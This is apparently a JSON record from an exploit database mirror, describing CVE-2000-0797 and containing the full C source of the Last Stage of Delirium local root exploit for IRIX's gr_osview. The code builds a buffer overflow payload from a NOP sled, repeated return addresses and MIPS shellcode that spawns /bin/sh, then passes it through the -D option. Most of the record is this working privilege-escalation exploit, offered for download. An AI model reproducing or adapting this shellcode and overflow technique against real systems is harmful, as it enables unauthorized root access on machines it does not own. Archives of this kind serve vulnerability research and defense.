{"exploit":{"id":"EDB-20126","name":"SGI IRIX 6.5.x - '/usr/sbin/gr_osview' Local Buffer Overflow","description":"SGI IRIX 6.5.x - '/usr/sbin/gr_osview' Local Buffer Overflow","cves":["CVE-2000-0797"],"author":"Last Stage of Delirium","published":"1997-01-01","platform":"irix","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20126","path":"exploits/irix/local/20126.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20126.c","vulnerabilities":[{"id":"CVE-2000-0797","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in gr_osview in IRIX 6.2 and 6.3 allows local users to gain privileges via a long -D option.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2000-0797","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2000-0797"},"updatedAt":"2024-08-08T05:28:41.568Z","retrievedAt":"2026-11-27T05:08:53.665Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20126.png?v=2","url":"https://exploitbin.com/exploits/EDB-20126","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20126/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20126/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nsource: https://web.archive.org/web/1997/https://www.securityfocus.com/bid/1526/info\n\nUnder certain versions of IRIX, the 'gr_osview' command contains a buffer overflow that local attackers can exploit to gain root privileges.\n\nThe gr_osview command produces a graphical display of memory-management activity, including memory usage, page faults, TLB activity, and page swapping. This display provides a realtime window into the overall operation of the system. The buffer overflow itself is in the command-line parsing code and can be overflowed via a long user-supplied string.\n*/\n\n/*## copyright LAST STAGE OF DELIRIUM jan 1997 poland        *://lsd-pl.net/ #*/\n/*## /usr/sbin/gr_osview                                                     #*/\n\n#define NOPNUM 3000\n#define ADRNUM 3000\n#define PCHNUM 1024\n#define ALLIGN 1\n\nchar shellcode[]=\n    \"\\x04\\x10\\xff\\xff\"    /* bltzal  $zero,<shellcode>    */\n    \"\\x24\\x02\\x03\\xf3\"    /* li      $v0,1011             */\n    \"\\x23\\xff\\x01\\x14\"    /* addi    $ra,$ra,276          */\n    \"\\x23\\xe4\\xff\\x08\"    /* addi    $a0,$ra,-248         */\n    \"\\x23\\xe5\\xff\\x10\"    /* addi    $a1,$ra,-240         */\n    \"\\xaf\\xe4\\xff\\x10\"    /* sw      $a0,-240($ra)        */\n    \"\\xaf\\xe0\\xff\\x14\"    /* sw      $zero,-236($ra)      */\n    \"\\xa3\\xe0\\xff\\x0f\"    /* sb      $zero,-241($ra)      */\n    \"\\x03\\xff\\xff\\xcc\"    /* syscall                      */\n    \"/bin/sh\"\n;\n\nchar jump[]=\n    \"\\x03\\xa0\\x10\\x25\"    /* move    $v0,$sp              */\n    \"\\x03\\xe0\\x00\\x08\"    /* jr      $ra                  */\n;\n\nchar nop[]=\"\\x24\\x0f\\x12\\x34\";\n\nmain(int argc,char **argv){\n    char buffer[10000],adr[4],pch[4],*b;\n    int i;\n\n    printf(\"copyright LAST STAGE OF DELIRIUM jan 1997 poland  //lsd-pl.net/\\n\");\n    printf(\"/usr/sbin/gr_osview for irix 6.2 6.3 IP:17,19,20,21,22,32\\n\\n\");\n\n    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10256+1500+1024+3000;\n    *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10256+1500+1024+32636;\n\n    b=buffer;\n    for(i=0;i<ALLIGN;i++) *b++=0xff;\n    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];\n    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];\n    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];\n    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];\n    *b=0;\n\n    execl(\"/usr/sbin/gr_osview\",\"lsd\",\"-D\",buffer,0);\n}","sha256":"4934738791970de7f7475ee78208227c9404b0f56360e3d88aecaa389bd26a38","bytes":2278,"fetchedAt":"2026-11-27T05:08:53.405Z","encoding":"utf-8 (display only; download retains original bytes)"}